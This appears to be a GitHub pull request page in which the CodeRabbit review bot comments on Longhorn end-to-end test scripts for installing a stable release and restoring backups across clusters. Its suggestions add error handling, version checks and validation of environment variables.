  • e2e/libs/keywords/longhorn_deploy_keywords.py
  • e2e/libs/longhorn_deploy/longhorn_deploy.py
  • e2e/libs/longhorn_deploy/longhorn_helm_chart.py
  • e2e/libs/longhorn_deploy/longhorn_kubectl.py
  • e2e/libs/utility/constant.py
  • e2e/tests/negative/pull_backup_from_another_longhorn.robot
  • pipelines/utilities/run_longhorn_e2e_test.sh
🧰 Additional context used
🪛 Shellcheck
e2e/utilities/longhorn-install.sh

[warning] 49-49: TF_VAR_tf_workspace is referenced but not assigned.

(SC2154)

🔇 Additional comments (5)
e2e/libs/longhorn_deploy/base.py (5)

7-7: LGTM: Import aligns with new stable version functionality

The new import follows the existing pattern and supports the stable version installation feature.


23-23: LGTM: Method signature change maintains compatibility

The new parameter is_stable_version with default False maintains backward compatibility while adding support for stable version uninstallation.


33-34: Referring to previous review comment about robust log parsing


46-56: Referring to previous review comment about error handling consistency


40-44: LGTM: Clean implementation of stable version installation logic

The conditional logic for stable version installation is clear and well-structured.

Let's verify the shell function constant is properly defined:

✅ Verification successful

Verified: Shell function constant is properly defined and used

🏁 Scripts executed

The following scripts were executed for the analysis:

Script:

#!/bin/bash
# Verify the shell function constant exists and is properly defined
rg -l "LONGHORN_INSTALL_STABLE_SHELL_FUNCTION\s*=" --type py

Length of output: 91


Script:

#!/bin/bash
# Extract the definition of LONGHORN_INSTALL_STABLE_SHELL_FUNCTION in e2e/libs/utility/constant.py
rg 'LONGHORN_INSTALL_STABLE_SHELL_FUNCTION\s*=' e2e/libs/utility/constant.py

Length of output: 153


Script:

#!/bin/bash
# Find usages of LONGHORN_INSTALL_STABLE_SHELL_FUNCTION in e2e/libs/longhorn_deploy/base.py
rg 'LONGHORN_INSTALL_STABLE_SHELL_FUNCTION' e2e/libs/longhorn_deploy/base.py

Length of output: 222

install_longhorn(){
create_longhorn_namespace
install_backupstores
if [[ "${LONGHORN_INSTALL_METHOD}" == "helm" ]]; then
LONGHORN_REPO_URI=${LONGHORN_REPO_URI:-"https://github.com/longhorn/longhorn.git"}
LONGHORN_REPO_DIR="${TMPDIR}/longhorn"
install_longhorn_by_chart
elif [[ "${LONGHORN_INSTALL_METHOD}" == "manifest" ]]; then
generate_longhorn_yaml_manifest "${TF_VAR_tf_workspace}"
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🛠️ Refactor suggestion

Add comprehensive workspace validation.

The script uses TF_VAR_tf_workspace without proper validation. While basic existence check was suggested in past reviews, we should also validate the directory structure.

 elif [[ "${LONGHORN_INSTALL_METHOD}" == "manifest" ]]; then
+    if [[ -z "${TF_VAR_tf_workspace}" ]]; then
+        echo "Error: TF_VAR_tf_workspace is not set"
+        return 1
+    fi
+    if [[ ! -d "${TF_VAR_tf_workspace}" ]]; then
+        echo "Error: Workspace directory ${TF_VAR_tf_workspace} does not exist"
+        return 1
+    fi
     generate_longhorn_yaml_manifest "${TF_VAR_tf_workspace}"
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
generate_longhorn_yaml_manifest "${TF_VAR_tf_workspace}"
if [[ -z "${TF_VAR_tf_workspace}" ]]; then
echo "Error: TF_VAR_tf_workspace is not set"
return 1
fi
if [[ ! -d "${TF_VAR_tf_workspace}" ]]; then
echo "Error: Workspace directory ${TF_VAR_tf_workspace} does not exist"
return 1
fi
generate_longhorn_yaml_manifest "${TF_VAR_tf_workspace}"
🧰 Tools
🪛 Shellcheck

[warning] 49-49: TF_VAR_tf_workspace is referenced but not assigned.

(SC2154)

Comment on lines +55 to +64
install_longhorn_stable_version(){
create_longhorn_namespace
install_backupstores
if [[ "${LONGHORN_INSTALL_METHOD}" == "helm" ]]; then
install_longhorn_stable_by_chart
elif [[ "${LONGHORN_INSTALL_METHOD}" == "manifest" ]]; then
install_longhorn_stable_by_manifest
fi
setup_longhorn_ui_nodeport
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🛠️ Refactor suggestion

Reduce code duplication and add error handling.

The function duplicates logic from install_longhorn. Consider extracting common functionality and adding proper error handling.

+install_longhorn_common() {
+    if ! create_longhorn_namespace; then
+        echo "Error: Failed to create namespace"
+        return 1
+    fi
+    if ! install_backupstores; then
+        echo "Error: Failed to install backupstores"
+        return 1
+    fi
+}
+
 install_longhorn_stable_version(){
-    create_longhorn_namespace
-    install_backupstores
+    if ! install_longhorn_common; then
+        return 1
+    fi
     if [[ "${LONGHORN_INSTALL_METHOD}" == "helm" ]]; then
-        install_longhorn_stable_by_chart
+        if ! install_longhorn_stable_by_chart; then
+            return 1
+        fi
     elif [[ "${LONGHORN_INSTALL_METHOD}" == "manifest" ]]; then
-        install_longhorn_stable_by_manifest
+        if ! install_longhorn_stable_by_manifest; then
+            return 1
+        fi
     fi
-    setup_longhorn_ui_nodeport
+    if ! setup_longhorn_ui_nodeport; then
+        echo "Error: Failed to setup UI nodeport"
+        return 1
+    fi
 }
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
install_longhorn_stable_version(){
create_longhorn_namespace
install_backupstores
if [[ "${LONGHORN_INSTALL_METHOD}" == "helm" ]]; then
install_longhorn_stable_by_chart
elif [[ "${LONGHORN_INSTALL_METHOD}" == "manifest" ]]; then
install_longhorn_stable_by_manifest
fi
setup_longhorn_ui_nodeport
install_longhorn_common() {
if ! create_longhorn_namespace; then
echo "Error: Failed to create namespace"
return 1
fi
if ! install_backupstores; then
echo "Error: Failed to install backupstores"
return 1
fi
}
install_longhorn_stable_version(){
if ! install_longhorn_common; then
return 1
fi
if [[ "${LONGHORN_INSTALL_METHOD}" == "helm" ]]; then
if ! install_longhorn_stable_by_chart; then
return 1
fi
elif [[ "${LONGHORN_INSTALL_METHOD}" == "manifest" ]]; then
if ! install_longhorn_stable_by_manifest; then
return 1
fi
fi
if ! setup_longhorn_ui_nodeport; then
echo "Error: Failed to setup UI nodeport"
return 1
fi
}

coderabbitai[bot]

This comment was marked as outdated.

Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 4

📜 Review details

Configuration used: CodeRabbit UI
Review profile: CHILL

📥 Commits

Reviewing files that changed from the base of the PR and between f77f4ff and 4d85e75.

📒 Files selected for processing (11)
  • e2e/keywords/longhorn.resource (1 hunks)
  • e2e/keywords/volume.resource (2 hunks)
  • e2e/libs/backup/rest.py (1 hunks)
  • e2e/libs/keywords/longhorn_deploy_keywords.py (1 hunks)
  • e2e/libs/longhorn_deploy/base.py (2 hunks)
  • e2e/libs/longhorn_deploy/longhorn_deploy.py (1 hunks)
  • e2e/libs/longhorn_deploy/longhorn_helm_chart.py (2 hunks)
  • e2e/libs/longhorn_deploy/longhorn_kubectl.py (2 hunks)
  • e2e/tests/negative/pull_backup_from_another_longhorn.robot (1 hunks)
  • e2e/utilities/longhorn-install.sh (2 hunks)
  • pipelines/utilities/run_longhorn_e2e_test.sh (2 hunks)
🚧 Files skipped from review as they are similar to previous changes (9)
  • e2e/keywords/longhorn.resource
  • e2e/libs/backup/rest.py
  • e2e/libs/keywords/longhorn_deploy_keywords.py
  • e2e/libs/longhorn_deploy/base.py
  • e2e/libs/longhorn_deploy/longhorn_deploy.py
  • e2e/libs/longhorn_deploy/longhorn_helm_chart.py
  • e2e/libs/longhorn_deploy/longhorn_kubectl.py
  • e2e/tests/negative/pull_backup_from_another_longhorn.robot
  • pipelines/utilities/run_longhorn_e2e_test.sh
🧰 Additional context used
🪛 Shellcheck
e2e/utilities/longhorn-install.sh

[warning] 49-49: TF_VAR_tf_workspace is referenced but not assigned.

(SC2154)

🔇 Additional comments (2)
e2e/utilities/longhorn-install.sh (1)

66-71: LGTM! Clean and straightforward control flow.

The logic for choosing between stable and development versions is clear and well-structured.

e2e/keywords/volume.resource (1)

94-96: LGTM: New keyword provides granular control over data size

The implementation is consistent with existing patterns and provides a useful addition for writing data with MB-level precision.

Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 4

📜 Review details

Configuration used: CodeRabbit UI
Review profile: CHILL

📥 Commits

Reviewing files that changed from the base of the PR and between 4d85e75 and 2a6541f.

📒 Files selected for processing (11)
  • e2e/keywords/longhorn.resource (1 hunks)
  • e2e/keywords/volume.resource (2 hunks)
  • e2e/libs/backup/rest.py (1 hunks)
  • e2e/libs/keywords/longhorn_deploy_keywords.py (1 hunks)
  • e2e/libs/longhorn_deploy/base.py (2 hunks)
  • e2e/libs/longhorn_deploy/longhorn_deploy.py (1 hunks)
  • e2e/libs/longhorn_deploy/longhorn_helm_chart.py (2 hunks)
  • e2e/libs/longhorn_deploy/longhorn_kubectl.py (2 hunks)
  • e2e/tests/negative/pull_backup_from_another_longhorn.robot (1 hunks)
  • e2e/utilities/longhorn-install.sh (2 hunks)
  • pipelines/utilities/run_longhorn_e2e_test.sh (2 hunks)
🚧 Files skipped from review as they are similar to previous changes (9)
  • e2e/keywords/longhorn.resource
  • e2e/libs/backup/rest.py
  • e2e/libs/keywords/longhorn_deploy_keywords.py
  • e2e/libs/longhorn_deploy/base.py
  • e2e/libs/longhorn_deploy/longhorn_deploy.py
  • e2e/libs/longhorn_deploy/longhorn_helm_chart.py
  • e2e/libs/longhorn_deploy/longhorn_kubectl.py
  • e2e/tests/negative/pull_backup_from_another_longhorn.robot
  • pipelines/utilities/run_longhorn_e2e_test.sh
🧰 Additional context used
🪛 Shellcheck
e2e/utilities/longhorn-install.sh

[warning] 49-49: TF_VAR_tf_workspace is referenced but not assigned.

(SC2154)

🔇 Additional comments (5)
e2e/utilities/longhorn-install.sh (3)

55-63: 🛠️ Refactor suggestion

Reduce duplication and add error handling.

The function duplicates logic and lacks error handling:

+install_longhorn_common() {
+  if ! create_longhorn_namespace; then
+    echo "Error: Failed to create namespace"
+    return 1
+  fi
+  if ! install_backupstores; then
+    echo "Error: Failed to install backupstores"
+    return 1
+  fi
+}
+
 install_longhorn_stable_version(){
-  create_longhorn_namespace
-  install_backupstores
+  if ! install_longhorn_common; then
+    return 1
+  fi
+
   if [[ "${LONGHORN_INSTALL_METHOD}" == "helm" ]]; then
-    install_longhorn_stable_by_chart
+    if ! install_longhorn_stable_by_chart; then
+      return 1
+    fi
   elif [[ "${LONGHORN_INSTALL_METHOD}" == "manifest" ]]; then
-    install_longhorn_stable_by_manifest
+    if ! install_longhorn_stable_by_manifest; then
+      return 1
+    fi
   fi
-  setup_longhorn_ui_nodeport
+  if ! setup_longhorn_ui_nodeport; then
+    echo "Error: Failed to setup UI nodeport"
+    return 1
+  fi
}

Likely invalid or redundant comment.


28-35: ⚠️ Potential issue

Add version validation and error handling.

The function needs validation and proper error handling for critical operations:

 install_longhorn_stable_by_chart(){
+  # Validate version format
+  if [[ ! "${LONGHORN_STABLE_VERSION}" =~ ^v[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
+    echo "Error: Invalid version format: ${LONGHORN_STABLE_VERSION}"
+    return 1
+  fi
+
+  # Ensure clean state
+  rm -rf "${LONGHORN_REPO_DIR}"
+
   git clone --single-branch \
             --branch "${LONGHORN_STABLE_VERSION}" \
             "${LONGHORN_REPO_URI}" \
-            "${LONGHORN_REPO_DIR}"
-    helm upgrade --install longhorn "${LONGHORN_REPO_DIR}/chart/" --namespace "${LONGHORN_NAMESPACE}"
-    wait_longhorn_status_running
+            "${LONGHORN_REPO_DIR}" || {
+              echo "Error: Failed to clone repository"
+              return 1
+            }
+
+  if [[ ! -d "${LONGHORN_REPO_DIR}/chart" ]]; then
+    echo "Error: Chart directory not found"
+    return 1
+  fi
+
+  helm upgrade --install longhorn "${LONGHORN_REPO_DIR}/chart/" \
+    --namespace "${LONGHORN_NAMESPACE}" || {
+      echo "Error: Helm installation failed"
+      return 1
+  }
+
+  if ! wait_longhorn_status_running; then
+    echo "Error: Longhorn failed to reach running status"
+    return 1
+  fi
+
+  # Cleanup
+  rm -rf "${LONGHORN_REPO_DIR}"

Likely invalid or redundant comment.


49-49: ⚠️ Potential issue

Add workspace variable validation.

The script uses TF_VAR_tf_workspace without validation:

   elif [[ "${LONGHORN_INSTALL_METHOD}" == "manifest" ]]; then
+    if [[ -z "${TF_VAR_tf_workspace}" ]]; then
+      echo "Error: TF_VAR_tf_workspace is not set"
+      return 1
+    fi
+    if [[ ! -d "${TF_VAR_tf_workspace}" ]]; then
+      echo "Error: Workspace directory ${TF_VAR_tf_workspace} does not exist"
+      return 1
+    fi
     generate_longhorn_yaml_manifest "${TF_VAR_tf_workspace}"

Likely invalid or redundant comment.

🧰 Tools
🪛 Shellcheck

[warning] 49-49: TF_VAR_tf_workspace is referenced but not assigned.

(SC2154)

e2e/keywords/volume.resource (2)

94-96: LGTM! Well-structured keyword for writing data with specific size

The implementation is consistent with existing patterns and provides good granular control over data size.


299-302: Consider adding explicit volume parameters

The keyword creates a volume without specifying size and replica count, which might differ from the source volume's configuration. This could lead to inconsistencies when restoring backups between different Longhorn systems.

Comment on lines +16 to +17
LONGHORN_REPO_DIR="${TMPDIR}/longhorn"
LONGHORN_REPO_URI=${LONGHORN_REPO_URI:-"https://github.com/longhorn/longhorn.git"}
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🛠️ Refactor suggestion

Add directory validation and cleanup.

Add validation for TMPDIR and ensure clean state before operations:

 LONGHORN_REPO_DIR="${TMPDIR}/longhorn"
+# Validate TMPDIR exists and is writable
+if [[ ! -d "${TMPDIR}" ]] || [[ ! -w "${TMPDIR}" ]]; then
+    echo "Error: ${TMPDIR} does not exist or is not writable"
+    exit 1
+fi
+# Clean existing repo directory
+if [[ -d "${LONGHORN_REPO_DIR}" ]]; then
+    rm -rf "${LONGHORN_REPO_DIR}"
+fi
 LONGHORN_REPO_URI=${LONGHORN_REPO_URI:-"https://github.com/longhorn/longhorn.git"}
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
LONGHORN_REPO_DIR="${TMPDIR}/longhorn"
LONGHORN_REPO_URI=${LONGHORN_REPO_URI:-"https://github.com/longhorn/longhorn.git"}
LONGHORN_REPO_DIR="${TMPDIR}/longhorn"
# Validate TMPDIR exists and is writable
if [[ ! -d "${TMPDIR}" ]] || [[ ! -w "${TMPDIR}" ]]; then
echo "Error: ${TMPDIR} does not exist or is not writable"
exit 1
fi
# Clean existing repo directory
if [[ -d "${LONGHORN_REPO_DIR}" ]]; then
rm -rf "${LONGHORN_REPO_DIR}"
fi
LONGHORN_REPO_URI=${LONGHORN_REPO_URI:-"https://github.com/longhorn/longhorn.git"}

Comment on lines 37 to 42
install_longhorn_stable_by_manifest(){
LONGHORN_STABLE_VERSION=${LONGHORN_STABLE_VERSION}
LONGHORN_STABLE_MANIFEST_URL="https://raw.githubusercontent.com/longhorn/longhorn/${LONGHORN_STABLE_VERSION}/deploy/longhorn.yaml"
install_longhorn_by_manifest "${LONGHORN_STABLE_MANIFEST_URL}"
}
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue

Fix redundant assignment and add URL validation.

The function has unnecessary assignment and needs URL validation:

 install_longhorn_stable_by_manifest(){
-  LONGHORN_STABLE_VERSION=${LONGHORN_STABLE_VERSION}
+  # Validate version format
+  if [[ ! "${LONGHORN_STABLE_VERSION}" =~ ^v[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
+    echo "Error: Invalid version format: ${LONGHORN_STABLE_VERSION}"
+    return 1
+  fi
+
   LONGHORN_STABLE_MANIFEST_URL="https://raw.githubusercontent.com/longhorn/longhorn/${LONGHORN_STABLE_VERSION}/deploy/longhorn.yaml"  
+  
+  # Validate manifest URL format
+  if [[ ! "${LONGHORN_STABLE_MANIFEST_URL}" =~ ^https://raw\.githubusercontent\.com/longhorn/longhorn/v[0-9]+\.[0-9]+\.[0-9]+/deploy/longhorn\.yaml$ ]]; then
+    echo "Error: Invalid manifest URL format"
+    return 1
+  fi
+
   install_longhorn_by_manifest "${LONGHORN_STABLE_MANIFEST_URL}"
 }
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
install_longhorn_stable_by_manifest(){
LONGHORN_STABLE_VERSION=${LONGHORN_STABLE_VERSION}
LONGHORN_STABLE_MANIFEST_URL="https://raw.githubusercontent.com/longhorn/longhorn/${LONGHORN_STABLE_VERSION}/deploy/longhorn.yaml"
install_longhorn_by_manifest "${LONGHORN_STABLE_MANIFEST_URL}"
}
install_longhorn_stable_by_manifest(){
# Validate version format
if [[ ! "${LONGHORN_STABLE_VERSION}" =~ ^v[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
echo "Error: Invalid version format: ${LONGHORN_STABLE_VERSION}"
return 1
fi
LONGHORN_STABLE_MANIFEST_URL="https://raw.githubusercontent.com/longhorn/longhorn/${LONGHORN_STABLE_VERSION}/deploy/longhorn.yaml"
# Validate manifest URL format
if [[ ! "${LONGHORN_STABLE_MANIFEST_URL}" =~ ^https://raw\.githubusercontent\.com/longhorn/longhorn/v[0-9]+\.[0-9]+\.[0-9]+/deploy/longhorn\.yaml$ ]]; then
echo "Error: Invalid manifest URL format"
return 1
fi
install_longhorn_by_manifest "${LONGHORN_STABLE_MANIFEST_URL}"
}

Comment on lines +301 to +302
${backup_url} = get_backup_url_from_backup_list ${backups_before_uninstall} ${backup_id}
create_volume ${volume_name} fromBackup=${backup_url}
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🛠️ Refactor suggestion

Add validation for backup existence

The keyword assumes the backup exists in the backups_before_uninstall list. Consider adding validation to handle cases where the backup is not found.

 Create volume ${volume_id} from backup ${backup_id} in another cluster
     ${volume_name} =    generate_name_with_suffix    volume    ${volume_id}
     ${backup_url} =    get_backup_url_from_backup_list    ${backups_before_uninstall}    ${backup_id}
+    Run Keyword If    '${backup_url}' == '${None}'    Fail    Backup ${backup_id} not found in backups_before_uninstall
     create_volume   ${volume_name}    fromBackup=${backup_url}

Committable suggestion skipped: line range outside the PR's diff.

Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 3

🧹 Outside diff range and nitpick comments (2)
e2e/libs/longhorn_deploy/base.py (1)

39-42: Enhance error messaging for installation modes

Consider adding descriptive logging before executing the installation to clearly indicate which mode (stable/development) is being used.

         if is_stable_version is True:
+            logging(f"Installing Longhorn stable version")
             cmd = ['bash', '-c', f'IS_INSTALL_STABLE_VERSION=true {full_path}']
         else:
+            logging(f"Installing Longhorn development version")
             cmd = ['bash', full_path]
e2e/keywords/volume.resource (1)

94-96: Add parameter validation and documentation

While the implementation is correct, consider adding parameter validation and documentation:

 Write data ${data_id} ${size} MB to volume ${volume_id}
+    [Documentation]    Writes random data to a volume
+    ...    ${data_id} - Unique identifier for the data
+    ...    ${size} - Size in MB (must be positive)
+    ...    ${volume_id} - Target volume identifier
     ${volume_name} =    generate_name_with_suffix    volume    ${volume_id}
+    Run Keyword If    ${size} <= 0    Fail    Size must be positive
     write_volume_random_data   ${volume_name}    ${size}    ${data_id}
📜 Review details

Configuration used: CodeRabbit UI
Review profile: CHILL

📥 Commits

Reviewing files that changed from the base of the PR and between 2a6541f and 76e8504.

📒 Files selected for processing (11)
  • e2e/keywords/longhorn.resource (1 hunks)
  • e2e/keywords/volume.resource (2 hunks)
  • e2e/libs/backup/rest.py (1 hunks)
  • e2e/libs/keywords/longhorn_deploy_keywords.py (1 hunks)
  • e2e/libs/longhorn_deploy/base.py (2 hunks)
  • e2e/libs/longhorn_deploy/longhorn_deploy.py (1 hunks)
  • e2e/libs/longhorn_deploy/longhorn_helm_chart.py (2 hunks)
  • e2e/libs/longhorn_deploy/longhorn_kubectl.py (2 hunks)
  • e2e/tests/negative/pull_backup_from_another_longhorn.robot (1 hunks)
  • e2e/utilities/longhorn-install.sh (2 hunks)
  • pipelines/utilities/run_longhorn_e2e_test.sh (2 hunks)
🚧 Files skipped from review as they are similar to previous changes (8)
  • e2e/keywords/longhorn.resource
  • e2e/libs/backup/rest.py
  • e2e/libs/keywords/longhorn_deploy_keywords.py
  • e2e/libs/longhorn_deploy/longhorn_deploy.py
  • e2e/libs/longhorn_deploy/longhorn_helm_chart.py
  • e2e/libs/longhorn_deploy/longhorn_kubectl.py
  • e2e/tests/negative/pull_backup_from_another_longhorn.robot
  • pipelines/utilities/run_longhorn_e2e_test.sh
🧰 Additional context used
🪛 Shellcheck
e2e/utilities/longhorn-install.sh

[warning] 49-49: TF_VAR_tf_workspace is referenced but not assigned.

(SC2154)

🔇 Additional comments (5)
e2e/libs/longhorn_deploy/base.py (4)

22-22: LGTM: Parameter change aligns with testing requirements

The change from longhorn_branch to is_stable_version better reflects the intended use case of testing between stable and development versions of Longhorn.


32-33: Referring to previous review comment

A previous review already suggested using regex for more robust log level matching.


45-55: LGTM: Improved error handling implementation

The error handling has been enhanced with comprehensive logging of command outputs and error states, which will help in debugging installation issues.


45-45: Verify installation timeout for stable version

Since we're dealing with different Longhorn versions, verify that the LONGHORN_INSTALL_TIMEOUT is sufficient for stable version installations.

e2e/keywords/volume.resource (1)

299-302: 🛠️ Refactor suggestion

Add error handling for cross-cluster operations

The implementation should handle potential cross-cluster connectivity issues:

 Create volume ${volume_id} from backup ${backup_id} in another cluster
     ${volume_name} =    generate_name_with_suffix    volume    ${volume_id}
     ${backup_url} =    get_backup_url_from_backup_list    ${backups_before_uninstall}    ${backup_id}
+    Run Keyword If    '${backup_url}' == '${EMPTY}'    Fail    Failed to retrieve backup URL for ${backup_id}
+    Wait Until Keyword Succeeds    5x    2s    create_volume    ${volume_name}    fromBackup=${backup_url}
-    create_volume   ${volume_name}    fromBackup=${backup_url}

The previous review comments about adding explicit volume parameters and backup validation are still applicable.

Comment on lines 37 to 42
install_longhorn_stable_by_manifest(){
LONGHORN_STABLE_VERSION=${LONGHORN_STABLE_VERSION}
LONGHORN_STABLE_MANIFEST_URL="https://raw.githubusercontent.com/longhorn/longhorn/${LONGHORN_STABLE_VERSION}/deploy/longhorn.yaml"
kubectl apply -f "${LONGHORN_STABLE_MANIFEST_URL}"
}
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue

Add error handling for kubectl operation.

The function should handle potential failures in kubectl apply operation.

Apply this diff:

 install_longhorn_stable_by_manifest(){
   LONGHORN_STABLE_VERSION=${LONGHORN_STABLE_VERSION}
   LONGHORN_STABLE_MANIFEST_URL="https://raw.githubusercontent.com/longhorn/longhorn/${LONGHORN_STABLE_VERSION}/deploy/longhorn.yaml"  
-  kubectl apply -f "${LONGHORN_STABLE_MANIFEST_URL}"
+  if ! kubectl apply -f "${LONGHORN_STABLE_MANIFEST_URL}"; then
+    echo "Error: Failed to apply Longhorn manifest"
+    return 1
+  fi
+  
+  # Wait for resources to be created
+  if ! wait_longhorn_status_running; then
+    echo "Error: Longhorn failed to reach running status"
+    return 1
+  fi
 }

Committable suggestion skipped: line range outside the PR's diff.

Comment on lines +66 to +72
IS_INSTALL_STABLE_VERSION="${IS_INSTALL_STABLE_VERSION:-false}"
if [[ "${IS_INSTALL_STABLE_VERSION}" == "true" ]]; then
install_longhorn_stable_version
else
install_longhorn
fi
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue

Add environment variable validation.

The script should validate all required environment variables before proceeding with installation.

Add this validation before the if statement:

+# Required environment variables
+REQUIRED_VARS=(
+  "LONGHORN_INSTALL_METHOD"
+  "LONGHORN_NAMESPACE"
+)
+
+# Optional variables that become required based on installation method
+if [[ "${IS_INSTALL_STABLE_VERSION}" == "true" ]]; then
+  REQUIRED_VARS+=("LONGHORN_STABLE_VERSION")
+fi
+
+# Validate required variables
+for var in "${REQUIRED_VARS[@]}"; do
+  if [[ -z "${!var}" ]]; then
+    echo "Error: Required environment variable $var is not set"
+    exit 1
+  fi
+done
+
 if [[ "${IS_INSTALL_STABLE_VERSION}" == "true" ]]; then
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
IS_INSTALL_STABLE_VERSION="${IS_INSTALL_STABLE_VERSION:-false}"
if [[ "${IS_INSTALL_STABLE_VERSION}" == "true" ]]; then
install_longhorn_stable_version
else
install_longhorn
fi
IS_INSTALL_STABLE_VERSION="${IS_INSTALL_STABLE_VERSION:-false}"
# Required environment variables
REQUIRED_VARS=(
"LONGHORN_INSTALL_METHOD"
"LONGHORN_NAMESPACE"
)
# Optional variables that become required based on installation method
if [[ "${IS_INSTALL_STABLE_VERSION}" == "true" ]]; then
REQUIRED_VARS+=("LONGHORN_STABLE_VERSION")
fi
# Validate required variables
for var in "${REQUIRED_VARS[@]}"; do
if [[ -z "${!var}" ]]; then
echo "Error: Required environment variable $var is not set"
exit 1
fi
done
if [[ "${IS_INSTALL_STABLE_VERSION}" == "true" ]]; then
install_longhorn_stable_version
else
install_longhorn
fi

Comment on lines +28 to +35
install_longhorn_stable_by_chart(){
git clone --single-branch \
--branch "${LONGHORN_STABLE_VERSION}" \
"${LONGHORN_REPO_URI}" \
"${LONGHORN_REPO_DIR}"
helm upgrade --install longhorn "${LONGHORN_REPO_DIR}/chart/" --namespace "${LONGHORN_NAMESPACE}"
wait_longhorn_status_running
}
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue

Add version validation before git operations.

The function should validate LONGHORN_STABLE_VERSION before using it in git operations to prevent security issues.

Apply this diff:

 install_longhorn_stable_by_chart(){
+  # Validate version format (e.g., v1.2.3)
+  if [[ -z "${LONGHORN_STABLE_VERSION}" ]]; then
+    echo "Error: LONGHORN_STABLE_VERSION is not set"
+    return 1
+  fi
+  if [[ ! "${LONGHORN_STABLE_VERSION}" =~ ^v[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
+    echo "Error: Invalid version format: ${LONGHORN_STABLE_VERSION}"
+    return 1
+  fi
+
   git clone --single-branch \

Committable suggestion skipped: line range outside the PR's diff.

ref: longhorn/longhorn#9646

Signed-off-by: Chris <chris.chien@suse.com>
Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 2

🧹 Outside diff range and nitpick comments (1)
e2e/keywords/volume.resource (1)

94-96: Add size parameter validation and documentation

Consider adding validation for the size parameter and documenting that the size is in MB (unlike other keywords that use GB).

 Write data ${data_id} ${size} MB to volume ${volume_id}
+    [Documentation]    Writes random data to a volume. The size parameter is in MB.
     ${volume_name} =    generate_name_with_suffix    volume    ${volume_id}
+    Run Keyword If    ${size} <= 0    Fail    Size must be greater than 0
     write_volume_random_data   ${volume_name}    ${size}    ${data_id}
📜 Review details

Configuration used: CodeRabbit UI
Review profile: CHILL

📥 Commits

Reviewing files that changed from the base of the PR and between 76e8504 and 14d697f.

📒 Files selected for processing (11)
  • e2e/keywords/longhorn.resource (1 hunks)
  • e2e/keywords/volume.resource (2 hunks)
  • e2e/libs/backup/rest.py (1 hunks)
  • e2e/libs/keywords/longhorn_deploy_keywords.py (1 hunks)
  • e2e/libs/longhorn_deploy/base.py (2 hunks)
  • e2e/libs/longhorn_deploy/longhorn_deploy.py (1 hunks)
  • e2e/libs/longhorn_deploy/longhorn_helm_chart.py (2 hunks)
  • e2e/libs/longhorn_deploy/longhorn_kubectl.py (2 hunks)
  • e2e/tests/negative/pull_backup_from_another_longhorn.robot (1 hunks)
  • e2e/utilities/longhorn-install.sh (2 hunks)
  • pipelines/utilities/run_longhorn_e2e_test.sh (2 hunks)
🚧 Files skipped from review as they are similar to previous changes (9)
  • e2e/keywords/longhorn.resource
  • e2e/libs/backup/rest.py
  • e2e/libs/keywords/longhorn_deploy_keywords.py
  • e2e/libs/longhorn_deploy/base.py
  • e2e/libs/longhorn_deploy/longhorn_deploy.py
  • e2e/libs/longhorn_deploy/longhorn_helm_chart.py
  • e2e/libs/longhorn_deploy/longhorn_kubectl.py
  • e2e/tests/negative/pull_backup_from_another_longhorn.robot
  • pipelines/utilities/run_longhorn_e2e_test.sh
🧰 Additional context used
🪛 Shellcheck
e2e/utilities/longhorn-install.sh

[warning] 50-50: TF_VAR_tf_workspace is referenced but not assigned.

(SC2154)

🔇 Additional comments (1)
e2e/utilities/longhorn-install.sh (1)

44-54: ⚠️ Potential issue

Add workspace variable validation.

The script uses TF_VAR_tf_workspace without validating its existence, which could lead to silent failures.

Apply this diff:

 install_longhorn(){
   create_longhorn_namespace
   install_backupstores
   if [[ "${LONGHORN_INSTALL_METHOD}" == "helm" ]]; then
     install_longhorn_by_chart
   elif [[ "${LONGHORN_INSTALL_METHOD}" == "manifest" ]]; then
+    if [[ -z "${TF_VAR_tf_workspace}" ]]; then
+      echo "Error: TF_VAR_tf_workspace is not set"
+      return 1
+    fi
     generate_longhorn_yaml_manifest "${TF_VAR_tf_workspace}"
     install_longhorn_by_manifest "${TF_VAR_tf_workspace}/longhorn.yaml"
   fi
   setup_longhorn_ui_nodeport
 }

Likely invalid or redundant comment.

